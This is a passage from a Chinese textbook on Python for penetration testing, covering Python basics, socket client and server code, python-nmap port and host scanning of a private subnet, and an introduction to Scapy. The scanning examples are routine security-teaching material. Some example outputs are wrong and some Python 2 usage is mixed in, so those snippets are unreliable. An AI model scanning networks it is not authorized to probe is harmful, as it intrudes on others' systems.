首先在Kali Linux 2中打开一个终端，单击图3-16所示的图标。

然后输入“python3”就可以启动交互式编程模式，如图3-17所示。

图3-17　启动Python的交互式编程模式

从图3-17中可以看出，Python的版本为3.7.6。这就是Python的命令行工作模式，在这种模式下，输入Python语句之后按下回车键就会立刻执行。可以在命令行中使用print()函数输出一些内容，例如

     >>> print("Hello ,welcome to Python world")

然后按下回车键，在命令行工作模式下，回车键不仅仅是换行，同时也意味着执行，上面语句的输出结果如图3-18所示。

图3-18　在命令行中使用print()函数输出

另外也可以像编译型语言（如C语言）一样，将一个程序全部写完以后再执行。这种模式在调试的时候可能有些麻烦，但是可以实现更完善的功能，而且具备可移植性。但是这需要使用专门的开发环境，本书中的实例都采用了Aptana Studio 3作为开发环境。

添加注释是编写程序的好习惯，这样当你完成一个程序之后，方便别人理解你编写每一行代码的目的。这一点在团队协作的时候尤为重要，注释语句不会参与程序的执行。因此一些程序员在需要临时禁用一段代码的时候也会使用注释的方式。例如：

     #这是一句注释

如果要对多行代码进行注释，只需要每行前面输入一个#。

     # 这是一段注释的第一句
     # 这是一段注释的第二句
     # 这是一段注释的第三句

3.4　选择结构

如果读者有其他编程语言的基础，那么会觉得Python很容易上手。常见的编程语言都有三大结构：顺序结构、选择结构和循环结构。其中，顺序结构是一句代码接着一句执行的，因而在开发过程中很少特别注意这种结构。而选择结构的特点会绕过一些语句执行，最为常用的选择结构为if语句。在Python语法中，一个if语句由条件语句和代码块两个部分组成。

□　条件语句：这是一个可能为真也可能为假的语句，由if关键字开始，冒号结尾，例如：

     if Scores==100：

注意：它与C语言最大的不同之处在于其中的条件语句没有括号。

□　代码块：这是一段可以执行的代码，当条件语句的值为真，就会执行这个代码块。需要特别注意的是，Python语句中的代码块并没有使用常见的大括号，而是采用缩进的方式，很多熟练使用其他编程语言的程序员对此可能并不习惯。Python中的缩进会影响程序编译，这一点必须牢记。例如：

     if Scores==100：
         print（"Well done"）

上面是正确的写法，而下面的写法是错误的。注意两者的区别仅仅在缩进！

     if Scores==100：
     print（"Well done"）

有些时候，仅使用if并不能实现预期的功能。例如，希望当Scores的值等于100的时候输出“Well done”，但是在不等于100的时候输出“Work harder”，这时就需要配合使用else语句。else之后无须再使用条件语句，它等价于if后面的条件语句为假。

     if Scores==100：
         print（"Well done"）
     else：
         print（"Work harder"）

再复杂一些，考虑分数为100、分数不为100但大于等于60、分数小于60一共3种情况，仅使用if和else显得无能为力。这里面还需要考虑分数不为100但大于等于60这个问题。elif语句其实可以看作else加if的合体。

     if Scores==100：
         print("Well done")
     elif Scores>=60：
         print("Work harder")
     else：
         print("make great efforts")

如果是更为复杂的情况，就需要使用更多的elif。但是无论如何，一个选择结构只有一个if，代表其他条件的elif都在if语句之后，如果希望确保至少会执行其中一个，在最后就要加上else语句。

3.5　循环结构

在日常生活中经常会遇到一些有规律的重复操作，例如，输出从1到100的自然数。如果使用顺序结构来实现这个程序，那么需要使用100个print语句。其实这些语句都是重复执行的，也只需要使用一个循环语句就可以代替这100个语句。在Python中循环语句有while和for两种，首先来看一下while的用法。while循环语句包含条件语句和代码块两个部分。

□　条件语句：这是一个可能为真也可能为假的语句，由while关键字开始，冒号结尾，例如：

     while i<100:

□　代码块：这是一段可以执行的代码，当条件语句的值为真，就会执行这个代码块。同样需要注意的是缩进格式。

     while i<100：
         print i

和选择结构不同的是，当代码块执行完之后，并不是继续向下执行，而是重新回到while循环的条件语句，再次检查该条件的值，如果条件为真，就会再次执行代码块，否则会跳过整个代码块。

如果这个条件语句的结果永远为假，那么代码块中的语句将不会执行。可是，如果这个条件语句的结果永远为真呢？例如：

     while 1==1：
         print ("Never stop" )

这种循环永远都不会结束，显然并不需要一个程序永远处于运行状态，它总得有个结束的时候。这时就需要使用break语句，它的作用是终止这个循环。接下来编写一个程序，要求用户输入用户名，但是只有当用户的输入为admin时，才会进行下一步。

代码中使用了input()函数，这是一个非常有用的函数，它可以在执行的时候从命令行处接收来自用户的输入，并将输入结果传递给正在执行的程序。

除了break语句之外，还有一个功能类似的continue语句，它也只能应用于循环结构内部。不同的是，当程序执行过程中遇到continue语句，就会马上回到循环开始的地方，重新对循环条件求值，也就是继续这个循环。

Python中while循环的用法和其他语言（例如C语言）的区别并不大，而另一个for循环就有些不同了。

for循环又被称为计数循环，这是因为可以在条件语句中指定循环的次数。for语句要和range()函数搭配使用，常见的形式如下：

     for i in range（10）：

for语句的构成部分主要由循环语句和代码块两个部分组成。

□　循环语句：这是一个由一个for关键字、一个变量名、一个in关键字、一个range()函数和一个冒号共同构成的语句。range()函数可以接收参数，最多3个。

□　代码块：这是一段可以执行的代码。

需要注意的是，range()本身就是一个函数，如果只接收一个参数，如range(n)，则表示的是执行代码块的次数。

     for i in range（5）：
         print(i )

如果接收两个参数，例如range（5,10），第一个参数表示的是for循环开始的值，第二个参数表示上限，但是循环中i的值不会取到10。

     for i in range（5,10）：
         print(i)

range()函数也可以有第三个参数，前两个参数分别是开始值和上限，第三个参数是步长，也就是每次循环时循环变量的变化。

     for i in range（2,10,2）：
         print（i）

3.6　数字和字符串

Python提供了5个标准的数据类型，分别是数字、字符串、列表、元组和字典。Python中支持的数字类型主要有3种，分别是int、long和float。这些数字类型支持常见的数学运算。其中，int代表的就是整数，常见的没有小数点的数就是整数，Python的命令行可以用来充当一个计算器。

     >>> 100+1
     101

而平时所用的实数在Python中就是float。

     >>> 100.2+9
     109.2

另外，Python有时需要处理一些较大的整数，在Python 2中需要使用到长整数，但是在Python 3中去掉了长整型，只有整型。

     >>> 9999999999999999999999999999999999
     9999999999999999999999999999999999

在Python中输入字符串很简单，只需要用引号开始和结束，例如"This is a test"。Python中的字符串是一种相当灵活的数据类型，它支持很多运算符和方法。首先介绍一下常见的字符串运算符。

1．+

这个运算符在操作两个数字时是相加的意思，在操作两个字符串的时候则表示连接的意思，例如：

     >>> 'Penetration '+'Test'
     'Penetration Test'

2．*

这个运算符在操作两个数字时是相乘的意思，不能应用于两个字符串。不过，一个字符串可以与一个整数进行*操作，表示将这个字符串重复n次。

     >>> 'Penetration '*3
     'Penetration Penetration Penetration '

3．[]

这个运算符很灵活地将字符串看作类似C语言数组（相信本书的读者都可能有一点儿C语言的基础，不过没有也没关系）。例如，字符串“Hello Python”就支持以下操作，其中，“-1”是一个特殊的参数，表示最后一个字符。

     >>> a='Hello Python'
     >>>a[0]
     'H'
     >>>a[2]
     'l'
     >>>a[-1]
     'n'

4．[:]

这个运算符用来得到一个子字符串，使用两个下标来指定范围，包含从开始下标到结束下标之间的字符，其中包括开始下标代表的字符，但不包括结束下标代表的字符。

     >>> a='Hello Python'
     >>>a[0:5]
     'Hello'
     >>>a[:5]
     'Hello'
     >>>a[6:]
     'python'

5．in

这个运算符用于两个字符串，如果第二个字符串包含第一个字符串，则返回True，否则返回False。

     >>> "He" in "Hello Python"
     True
     >>> "he" in "Hello Python"
     False

6．not in

这个运算符也用于两个字符串，运算结果与in相反。

     >>> "He" not in "Hello Python"
     False
     >>> "he" not in "Hello Python"
     True

3.7　列表、元组和字典

数学上，序列是被排成一列的对象（或事件），这样每个元素不是在其他元素之前，就是在其他元素之后。在Python中，序列是最基本的数据结构。在Python中最为常见的序列是列表和元组，这些序列提供了很多便利的操作。

3.7.1　列表

首先看一下列表。列表以左括号开始，右括号结束，样式为['Nmap'，'Kali'，'Openvas']。列表中数据项的类型无须相同，这一点对具有一些其他编程语言基础的读者来说，可能有些不习惯，不过这也是Python语言灵活性的体现。对一个列表而言，可以进行如下操作。

□　创建列表。创建一个以tools为名的列表。

     >>>tools=['Nmap','Kali','Openvas']

□　使用下标来访问和更新列表。只要使用下标就可以对列表中的元素进行读取和修改。

     >>>tools[0]
     'Nmap'
     >>>tools[2]='Metasploit'
     >>>tools
     ['Nmap', 'Kali', 'Metasploit']

□　使用切片访问列表。使用下标只能访问单个元素，使用切片可以获取多个元素，进而得到一个新的列表。

     >>>tools[1:3]
     ['Kali', 'Metasploit']

在一个切片中，第一个整数是切片开始的下标，第二个整数是切片结束的下标，但是不包括这个下标。

□　使用len()取得列表长度。

     >>>len(tools)
     3

□　列表的连接和复制操作。列表支持“+”和“*”两个运算符，“+”表示连接运算符。例如将tools和列表['Sqlmap','Burpsuite']组成一个新的列表。

     >>> tools+['Sqlmap','Burpsuite']
     ['Nmap', 'Kali', 'Metasploit', 'Sqlmap', 'Burpsuite']

另外也可以使用“*”运算符来实现对列表的复制。例如将列表复制3次。

     >>>tools*3
     ['Nmap', 'Kali', 'Metasploit', 'Nmap', 'Kali', 'Metasploit', 'Nmap', 'Kali',
     'Metasploit']

□　in操作符与not in操作符，利用这两个运算符可以确定一个值是否在列表中。

     >>> 'Nmap' in tools
     True
     >>> 'Nmap' not in tools
     False
     >>> 'Office' in tools
     False
     >>> 'Office' not in tools
     True

□　删除列表元素，Python中使用del语句来删除列表中的元素。例如，要删除列表中的'Kali'，可以使用如下语句。

     >>>del tools[1]
     >>>tools
     ['Kali', 'Metasploit']

□　Python中还支持一些操作的函数。

常用的函数有：index(obj)在列表中查找指定值，如果列表中有这个值，就返回该值的下标；append(obj)在列表的末尾添加指定对象；insert(index, obj)将指定对象插入列表的index位置；remove(obj)删除列表中的特定值；sort()对列表中的元素进行排序。

3.7.2　元组

元组和列表的大部分性质相同，不同之处只有以下两点。

□　元组使用的是圆括号()，而列表使用的是方括号[]。

□　元组中的元素是不能被修改的。

3.7.3　字典

字典数据类型提供了更为灵活访问和组织数据的方式，它可以存储任意类型的数据。字典可以使用索引进行操作，不过这些索引的类型不一定是整型，也可以是不同的数据类型。字典类型用大括号表示，字典中的索引称为键，这些键和对应的值共同构成了一个“键-值”对，键和值用冒号分隔，格式如下所示：

     score={'LiMing'：80，'ChenKe'：100，'ZhangLan'：75}

从上面的例子可以看出，在字典中顺序并不重要。常见的字典操作如下。

□　keys()，将整个字典中的键以列表形式返回。

□　values()，将整个字典中的值以列表形式返回。

□　items()，将整个字典中的“键-值”以列表形式返回。

□　has_key()，检查一个键是否存在于字典中，如果存在则返回True，否则返回False。

□　get()，检查一个键是否存在于字典中，如果存在则返回该键对应的值，否则返回备用值。这个函数需要两个参数：一个是要查找的键；另一个是备用值。

字典的值还可以是任意的数值类型，在本书后面的实例中会多次使用列表和字典作为字典的值。

3.8　函数与模块

函数用来完成一定的功能，如向一个函数提供输入，这个函数会返回一个输出。有些功能会经常用到，如果反复为这些功能编写代码，会使得程序变得极为臃肿而且难以阅读。这时就可以使用函数来改善程序，函数能提高应用的模块性以及代码的复用率。

Python中的函数可以分成两种：一种是Python中内置的函数，例如大家都很熟悉的print()；另一种是自定义的函数。

编写一个函数很简单，Python中的函数一般包含以下5个部分。

□　函数的标识符。首先要使用def来创建一个函数，def就是标识符（define的缩写）。

□　函数名。每一个函数都要有一个名字，这个函数的名字最好能体现出它的功能。

□　函数的参数。如果将函数比作一个机器，那么参数是放入这个机器的原料，函数的参数需要放在()中。完成之后需要使用冒号结束这一行。

□　函数体。这部分是函数的主体，其中是实现函数功能的代码。函数体的语句需要相对函数标识符缩进。

□　函数的return语句。表示函数结束，可以返回一个值。如果没有return语句，则表示返回None。

下面给出了一个计算平方的函数。

     def square(x):
         y= x**2
         return y

如果在命令行中编写这个函数，那么在出现冒号的时候，Python命令行中原本的“>>>”会变成“…”，这时按下Tab键执行缩进。当函数内容完成之后，连续按两下回车键，就可以结束函数编写。这时命令中行又变成“>>>”，如图3-19所示。

图3-19　编写一个函数

如果需要调用这个函数，只需要使用这个函数的名字和参数即可，例如计算99的平方，只需要输入square(99)，如图3-20所示。

图3-20　调用一个函数

除了上述定义的函数之外，Python还支持使用匿名函数。匿名函数使用lambda关键字创建。Python中lambda表达式的形式如下所示。

     函数名=lambda 参数列表：函数体

在Python中，lambda表达式适用于简单的函数，例如上例中的square()函数就可以写成如下形式：

     square = lambda x: x**2

如果将一些经常使用的函数编写到一个Python文件中，在任何程序中都可以调用，则会更加方便，C语言中的头文件以及Java中的包就实现了这样的功能，在Python中，这种文件称为模块。如果你有编程基础，一定会对#include <stdio.h>这条语句感到熟悉，而Python中使用的是import语句。

1．import语句

如果希望引入某个模块，可以使用import加上模块的名字，例如要引入Socket模块，就可以使用：

     import socket

如果要同时引入多个模块，可以使用逗号分开：

     import socket,random

这样引用之后，在调用模块中的函数时，必须使用“模块名.函数名”方式来引用。

2．from…import语句

一个模块中可能包含大量的函数，但是程序一般不会使用到它的全部函数。一般使用哪个函数，只需要引入它即可，这时就可以使用from…import语句。例如，只须引入scapy.all模块中的srp()函数，就可以使用如下语句：

     from scapy.all import srp

通过这种方式引入，调用函数时只需要给出函数名，不需要给出模块名。如果需要导入一个模块的所有内容，只须将函数名写成”*”即可，如下所示：

     from scapy.all import *

3.9　文件处理

在Python中对文件进行处理的函数主要包括以下几个。

1．open()函数

如果要对一个文件进行处理，首先需要打开这个文件。使用open()函数打开一个文件，创建一个file对象，然后才可以使用其他方法对这个文件进行读写操作。open()函数的完整语法格式如下：

     file object = open(file, access_mode='r')

其中，object就是一个file对象，file是要打开目标文件的路径加名称，access_mode是打开文件之后的模式，默认情况下是只读模式r，也就是不能改写该文件。常见的模式包括r（读模式）、w（写模式）、a（追加模式）、b（二进制模式）、+（读／写模式），而这些模式还可以组合使用。例如，wb表示以二进制格式打开一个文件只用于写入，如果该文件已存在则将其覆盖，如果该文件不存在则创建新文件；w+表示打开一个文件用于读写，如果该文件已存在则将其覆盖，如果该文件不存在则创建新文件；wb+表示以二进制格式打开一个文件用于读写，如果该文件已存在则将其覆盖，如果该文件不存在则创建新文件。

下面代码打开一个名为test.txt的文件，并对其进行读写操作。

     target = open("test.txt", "w+")

2．read()函数

打开一个文件之后，就可以使用read()对其中的内容进行读取，这个函数的格式如下：

     fileObject.read([count]);

其中，count表示要从打开文件中读取的字节数。例如：

     str=target.read(100)

3．write()函数

打开一个文件之后，还可以使用write()函数将任何字符串写入一个打开的文件。write()函数的格式如下：

     target.write(string);

例如，将“Hello Python”写入test.txt中，就可以使用如下代码：

     target.write( " Hello Python \n");

4．close()函数

File对象的close()函数刷新缓冲区里任何还没写入的信息，并关闭该文件，这之后便不能再写入。例如，关闭前面打开的文件，就可以执行：

     target.close();

除了以上介绍的4个函数之外，Python中还提供了一些高效的文件处理函数，关于这些函数的使用方法可以参考Python标准文档，本书不再赘述。

3.10　小结

本章首先简单介绍了Python的基础知识，并讲解了如何在Kali Linux 2系统上安装和使用Python编程环境。Python的语法并不是本书的重点，所以只围绕Python常见数据类型、基本结构、常用函数等方面进行了介绍。如果读者没有编程语言基础，那么最好找一本专门介绍Python基础的书来学习。

从第4章开始将会正式开始Python渗透之旅，Python语言魅力最大的地方在于丰富的模块文件，这也正是第4章将要介绍的内容。

第4章　安全渗透测试的常见模块

Python是一个功能非常强大的网络安全渗透语言。首先，Python中内置了很多针对常见网络协议的模块。这些模块对网络协议的层次进行了封装，这样在编写网络安全渗透程序的时候就可以把精力放在程序的逻辑上，而不是网络实现的细节。

通过这一章的学习，读者将会领略到Python的魅力。以前可能需要上百行代码才能实现的功能现在可以轻轻松松地使用几行代码来完成，这一切要归功于即将要学习到的模块。在这一章中将会介绍Python中最为强大的几个模块，在很多黑客工具中也可以看见这些模块的身影。

□　Socket模块。

□　python-nmap模块。

□　Scapy模块。

4.1　Socket模块文件

在长时间的教学工作中，作者发现学生们经常会将Socket当作TCP/IP协议族中的一员，但是又无法在TCP/IP协议层次图中找到这个“协议”，因此会感到困惑。

实际上TCP/IP协议族将网络分成链路层、网络层、传输层和应用层。所熟知的IP、TCP和HTTP分别位于网络层、传输层和应用层。这些层次和协议分别各司其职，各尽其能。而Socket并不是TCP/IP协议族中的协议，而是一个编程接口。有网络程序编写经历的读者，在编程中基本没有写过实现三次握手过程的代码，这是为什么呢？TCP中最为典型的不就是三次握手吗？

不错，TCP的连接需要三次握手，但是这一点在TCP的内部已经实现了，当需要使用TCP的时候，只需要调用这个协议，无须再实现一次。其实TCP/IP和操作系统一样，除了具体实现之外，同时也对外部提供调用的接口，这一点就像Windows操作系统中提供了win32编程接口一样。Socket正是TCP/IP提供的外部接口。

也许有人要问，为什么不自己编程实现这些协议，而是调用别人写好的接口呢？实际上无论是操作系统还是TCP/IP的代码都不是一般的复杂，如果要实现，花费的时间和精力将会是非常惊人的，很可能穷尽一生也是很难完成的，而如果调用这些接口，几行代码就可以实现。

TPC/IP是传输层协议，主要解决数据如何在网络中传输，而Socket是对TCP/IP的封装和应用。TPC/IP是网络中的规则，是不能修改的，而Socket则是给程序员使用的，是可以任意调用的。实际上，编程语言在处理网络时都可以使用到Socket。Socket的英文原义是“孔”或“插座”，通常也称作“套接字”，用于描述IP地址和端口，是一个通信链的句柄，可以用来实现不同虚拟机或不同计算机之间的通信。网络上的两个程序通过一个双向的通信连接实现数据的交换，应用程序通常通过“套接字”向网络发出请求或者应答网络请求。

4.1.1　简介

Socket模块的主要目的是在网络上的两个程序之间建立信息通道。Python中提供了两个基本的Socket模块：服务器端Socket和客户端Socket。当创建一个服务器端Socket之后，这个Socket会在本机的一个端口上等待连接，客户端Socket访问这个端口后，两者完成连接就可以进行交互。

在Python中，Socket模块的使用十分简单。在使用Socket进行编程的时候，需要首先实例化一个Socket类，这个实例化需要3个参数：第1个参数是地址族；第2个参数是流；第3个参数是使用的协议。

使用Socket建立服务器端的思路是首先实例化一个Socket类，然后开始循环监听，一直等待接收来自客户端的连接。成功建立连接之后，接收客户端发来的数据，并向客户端发送数据，传输完毕之后，关闭这次连接。

使用Socket建立客户端则要简单得多，在实例化一个Socket类之后连接一个远程的地址，这个地址由IP和端口组成。成功建立连接之后，开始发送和接收数据，传输完毕之后，关闭这次连接。

4.1.2　基本用法

1．Socket的实例化

首先看一下如何实例化一个Socket。Socket实例化的格式如下：

     socket(family,type[,protocal])

其中，参数family是要使用的地址族。常用的协议族有AF_INET、AF_INET6、AF_LOCAL（或称AF_UNIX、UNIX域Socket）、AF_ROUTE等。默认值为socket.AF_INET，通常使用这个默认值即可。

参数type用来指明Socket类型，可以使用的值有3个：

□　SOCK_STREAM，TCP类型，保证数据顺序及可靠性。

□　SOCK_DGRAM，用于UDP类型，不保证数据接收的顺序，非可靠连接。

□　SOCK_RAW，原始类型，允许对底层协议如IP或ICMP进行直接访问，基本不会用到。

默认值为SOCK_STREAM。

参数protocal指使用的协议，这个参数是可选的。通常赋值“0”，由系统自动选择。

如果希望初始化一个TCP类型的Socket，可以使用如下语句：

     s=socket.socket()

这条语句实际上相当于socket.socket(socket.AF_INET,socket.SOCK_STREAM)。这里面因为使用的都是默认值，所以可以省略。

如果希望初始化一个UDP类型的Socket，则可以使用：

     s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

2．Socket常用函数

当成功实例化一个Socket之后，就可以使用Socket类所提供的函数。Socket类中主要提供如下常用函数。

bind()：由服务器端Socket调用，会将之前创建的Socket与指定的IP地址和端口绑定。如果之前使用AF_INET初始化Socket，那么这里可以使用元组（host，port）的形式表示地址。

例如要将刚才创建的Socket绑定到本机的2345端口，就可以使用如下语句：

     s.bind(('127.0.0.1',2345))

listen()：用于在使用TCP的服务器端开启监听模式，可以使用一个参数来指定挂起的最大连接数量。这个参数的值最小为1，一般设置为5。

例如，要在服务器端开启一个监听，可以使用如下语句：

     s.listen(5)

accept()：用于在使用TCP的服务器端接收连接，一般是阻塞态。接收TCP连接并返回（conn，address），其中，conn是新的套接字对象，可以用来接收和发送数据；address是连接客户端的地址。

上面3个函数是用于服务器端的Socket函数，下面来看一看客户端的Socket函数。

connect()：这个函数用在使用TCP的客户端去连接服务器端时，使用的参数是一个元组，形式为（hostname，port）。

在客户端程序初始化一个Socket之后，就可以使用这个函数去连接服务器端。例如，现在要连接本机的2345端口就可以使用如下语句：

     s.connect(("127.0.0.1",2345))

接下来介绍一些在服务器端和客户端都可以使用的函数。

send()：这个函数在使用TCP时用于发送数据，完整的形式为send(string[,flag])，利用这个函数可以将string代表的数据发送到已经连接的Socket，返回值是发送字节的数量，但是可能未全部发送指定的内容。

sendall()：这个函数与send()相似，也在使用TCP时用于发送数据，完整的形式为sendall(string[,flag])，与send()的区别是它可以完整发送TCP数据。将string中的数据发送到连接的套接字，但在返回之前会尝试发送所有数据。成功返回None，失败则抛出异常。

例如使用这个函数发送一段字符到Socket，可以使用如下语句：

     s.sendall(bytes("Hello，My Friend！",encoding="utf-8"))

recv()：这个函数在使用TCP时用于接收数据，完整的形式为recv(bufsize[,flag])，接收Socket的数据。数据以字符串形式返回，bufsize指定最多可以接收的数量。一般不会使用参数flag。

例如使用这个函数接收一段长度为1024的字符Socket，可以使用如下语句：

     obj.recv(1024)

sendto()：这个函数用于在使用UDP时发送数据，完整的形式为sendto(string [,flag],address)，返回值是发送的字节数。address是形式为（ipaddr，port）的元组，指定远程地址。

recvfrom()：UDP专用，接收数据，返回数据远端的IP地址和端口，但返回值是（data，address）。其中，data是包含接收数据的字符串，address是发送数据的套接字地址。

close()：关闭Socket。

3．使用Socket编写一个简单的可以互相通信的服务器端和客户端程序

首先使用Socket编写一个服务器端程序，这里会用到之前介绍过的函数。Socket开始监听后，就会使用accept()函数等待客户端连接。这个过程通过一个条件永远为真的循环来实现，服务器端在处理完和客户端的连接后，会再次调用这个函数开始等待下一个连接。具体代码如下：

     import socket
     s1 = socket.socket()
     s1.bind(("127.0.0.1",2345))
     s1.listen(5)
     str="Hello world"
     while 1:
         conn,address = s1.accept()
         print ("a new connect from",address)
         conn.send(str.encode())
     conn.close()

将这段程序保存为server.py，然后在编辑器中执行，编辑完的程序如图4-1所示。

图4-1　使用Python编写的服务器端程序

接下来再使用Socket编写一个客户端程序，这个程序最重要的功能是通过connect()函数连接到目标服务器端。

     import socket
     s2 =socket.socket()
     s2.connect(("127.0.0.1",2345))
     #对传输数据使用encode()函数处理，Python 3不再支持str类型传输，需要转换为bytes类型
     data=bytes.decode(s2.recv(1024))
     s2.close()
     print (data)

同样将这段程序保存为client.py。然后在编辑器中执行，编辑完的程序如图4-2所示。

图4-2　使用Python编写的客户端程序

执行之后，在服务器端的程序可以看到一个来自本机53010（这个数字代表客户端使用的端口，每次都不相同）的连接。这表明客户端已经成功与服务器端建立连接，如图4-3所示。

图4-3　客户端已经成功与服务器端建立连接

Socket可以算是使用频率最高的网络模块文件了，关于这个模块的应用会在后面内容中详细介绍。

4.2　python-nmap模块文件

如果读者刚刚开始接触网络编程，一定觉得网络扫描是一件神奇的事情。你是不是也希望自己编写的程序可以扫描出目标主机的操作系统类型、开放的端口，甚至安装的软件呢？但是，这一切如果从零做起，是相当复杂的，参考一下网络上那些使用C语言编写的经典扫描程序，就会发现网络扫描是一个多么庞大的工程。

不过，如果只需要得到扫描的结果，则无须如此大费周章。现在只需要有一个完善的工具，而这个工具可以完成扫描的所有工作，而所要做的只是在程序中对这个工具进行简单调用即可。那么哪个工具既具备网络扫描的强大功能，又可以完美地和Python程序结合在一起呢？

Nmap这个工具在黑客历史上可以说是一个传奇，它在网络扫描方面强大的功能令人惊叹。Nmap是世界渗透测试行业公认的最优秀的网络安全审计工具，它可以通过探测设备来审计其安全性，而且功能极为完备，单是对端口状态的扫描技术就有数十种。Nmap的强大功能是毋庸置疑的，它几乎是当前黑客必备工具，几乎可以在任何经典的网络安全图书中找到它的名字，甚至可以在大量的影视作品（例如《黑客帝国》《极乐空间》《谍影重重》《虎胆龙威4》等）中看到它的身影。

目前Nmap已经具备如下功能：

□　主机发现。向目标计算机发送信息，然后根据目标的反应来确定它是否处于开机并联网的状态。

□　端口扫描。向目标计算机的指定端口发送信息，然后根据目标端口的反应来判断它是否开放。

□　服务类型及版本检测。向目标计算机的目标端口发送特制的信息，然后根据目标的反应来检测它运行服务的服务类型和版本。

□　操作系统检测。除了这些基本功能之外，Nmap还实现了一些高级的审计技术，例如伪造发起扫描端的身份，进行隐蔽扫描，规避目标的防御设备（例如防火墙），对系统进行安全漏洞检测，并提供完善的报告选项。随着Nmap强大的脚本引擎NSE的推出，任何人都可以自己向Nmap中添加新的功能模块。

由于Nmap提供了如此强大且全面的功能，所以如果能在自己编写的Python程序中使用这些功能将会事半功倍。有了Nmap，就像是“站在巨人的肩膀上”编程。

4.2.1　简介

python-nmap是一个可以帮助使用Nmap功能的Python模块文件。在python-nmap模块的帮助下，可以轻松地在自己的程序中使用Nmap扫描的结果，也可以编写程序来自动化地完成扫描任务。

截至本书发稿，python-nmap最新的版本为0.61，这个模块的作者的个人网站为http://xael.org/。如果希望在Python中正常使用python-nmap模块，必须先在系统中安装Nmap。因为在这个模块文件中会调用Nmap的一些功能。现在使用的Kali Linux 2中已经安装了Nmap，如果读者使用的是其他系统，需要先安装Nmap，然后在PyCharm中安装这个模块，如图4-4所示。

图4-4　安装python-nmap模块文件

另外，也可以在Python环境中使用pip3工具安装这个模块，安装的命令为：

     pip3 install python-nmap

安装成功之后，打开一个终端，启动Python，然后导入Nmap，如图4-5所示。

图4-5　导入python-nmap模块

从图4-5中可以看出已经成功导入Nmap，现在可以正常使用了。

4.2.2　基本用法

python-nmap模块中的核心是PortScanner、PortScannerAsync、PortScannerError、PortS-cannerHostDict、PortScannerYield 5个类，其中最重要的是PortScanner类。

1．python-nmap模块类的实例化

PortScanner类实现Nmap工具功能的封装。对这个类进行实例化很简单，只需要如下语句即可实现：

     nmap.PortScanner()

执行后的结果如图4-6所示。

PortScannerAsync类和PortScanner类的功能相似，但是这个类可以实现异步扫描，对这个类的实例化语句如下：

     nmap.PortScannerAsync()

执行的结果如图4-7所示。

图4-6　使用PortScanner()实例化

图4-7　使用PortScannerAsync()实例化

2．python-nmap模块中的函数

首先来看PortScanner类，这个类中包含如下几个函数。

scan()函数的完整形式为scan(self, hosts='127.0.0.1', ports=None, arguments= '-sV', sudo=False)，用来对指定目标进行扫描，其中需要设置的3个参数包括hosts、ports和arguments。

这里面的参数hosts的值为字符串类型，表示要扫描的主机，形式可以是IP地址，例如“192.168.1.1”，也可以是一个域名，例如“www.nmap.org”。

参数ports的值也是字符串类型，表示要扫描的端口。如果要扫描的是单一端口，形式可以为“80”。如果要扫描的是多个端口，可以用逗号分隔开，形式为“80,443,8080”。如果要扫描的是连续的端口范围，可以用横线，形式为“1-1000”。

参数arguments的值也是字符串类型，这个参数实际上就是Nmap扫描时所使用的参数，例如“-sP”“-PR”“-sS”“-sT”“-O”“-sV”等。其中，“-sP”表示对目标进行Ping主机在线扫描；“-PR”表示对目标进行一个ARP的主机在线扫描；“-sS”表示对目标进行一个TCP半开（SYN）类型的端口扫描；“-sT”表示对目标进行一个TCP全开类型的端口扫描；“-O”表示扫描目标的操作系统类型；“-sV”表示扫描目标上所安装网络服务软件的版本。

如果要对192.168.1.101的1~500端口进行一次TCP半开扫描，可以使用如图4-8所示命令。

图4-8　对192.168.1.101的1~500端口进行一次TCP半开扫描

all_hosts()函数会返回一个被扫描的所有主机列表，如图4-9所示。

图4-9　返回一个被扫描的所有主机列表

command_line()函数会返回在当前扫描中使用的命令行，如图4-10所示。

图4-10　返回在当前扫描中使用的命令行

csv()函数的返回值是一个被扫描的所有主机的CSV（逗号分隔值文件）格式的文件，如图4-11所示。

图4-11　返回一个被扫描的所有主机的CSV格式文件

如果希望看得更清楚，可以使用print输出csv()的内容，如图4-12所示。

图4-12　用print输出csv()的内容

has_host(self, host)函数会检查是否有host的扫描结果，如果有则返回True，否则返回False，如图4-13所示。

图4-13　检查是否有host的扫描结果

scaninfo()函数会列出一个扫描信息的结构，如图4-14所示。

图4-14　列出一个扫描信息的结构

这个类还支持如下操作：

而PortScannerAsync类中最重要的函数也是scan()，用法与PortScanner类中的scan()基本一样，但是多了一个回调函数。完整的scan()函数格式为scan(self, hosts='127.0.0.1',ports=None, arguments='-sV', callback=None, sudo=False)，其中callback是以(host, scan_data)为参数的函数，如图4-15所示。

图4-15　使用scan()函数进行扫描

这个类中提供了3个用来实现异步的函数。

still_scanning()函数表示是否正在扫描，如果正在扫描，则返回True，否则返回False，如图4-16所示。

图4-16　使用still_scanning()函数返回正在扫描的状态

wait(self, timeout=None)函数表示等待时间，如图4-17所示。

图4-17　使用wait()等待一段时间

stop()函数表示停止当前的扫描。

3．使用python-nmap模块编写一个扫描器

现在已经了解python-nmap的用法，接下来使用这个模块编写一个简单的端口扫描器。扫描192.168.1.101主机上1~1000开放的端口。在命令行中调试程序虽然很方便，但是有两个很明显的缺点：一是没有办法保存编写的程序；二是很难对编写程序时出现的错误进行调试。所以下面的程序都会在PyCharm中进行。

在Python的命令行中执行这个程序，程序执行结果如图4-18所示。

图4-18　扫描的结果

如果只希望扫描活跃的主机，可以使用下面的程序。

     import nmap
     nm = nmap.PortScanner()
     nm.scan(hosts='192.168.1.0/24',arguments='-sP')
     hosts_list = [(x, nm[x]['status']['state']) for x in nm.all_hosts()]
     for host, status in hosts_list:
         print(host+" is "+status)

这个程序执行得到的结果如图4-19所示。

图4-19　主机状态扫描的结果

4.3　Scapy模块文件

Scapy是本章介绍的第3个模块文件，相比起前两个模块，它已经在内部实现大量的网络协议（如DNS、ARP、IP、TCP、UDP等），可以用它来编写非常灵活实用的工具。

4.3.1　简介

Scapy是一个由Python语言编写的强大工具，它是大量程序员最喜爱的一个网络模块。目前很多优秀的网络扫描和攻击工具都使用了这个模块。也可以在自己的程序中使用这个模块来实现对网络数据包的发送、监听和解析。相比起Nmap，这个模块更底层。你可以更直观地了解网络中的各种扫描和攻击行为，例如检测某个端口是否开放，你只须给Nmap提供一个端口号，而Nmap就会反馈一个开放或者关闭的结果，但是并不知道Nmap是怎么做到的。如果你想深入研究网络中的各种问题，Scapy无疑是一个更好的选择，你可以利用它来产生各种类型的数据包并发送出去，Scapy也只会把收到的数据包展示给你，并不会告诉你这意味着什么，一切都将由你来判断。

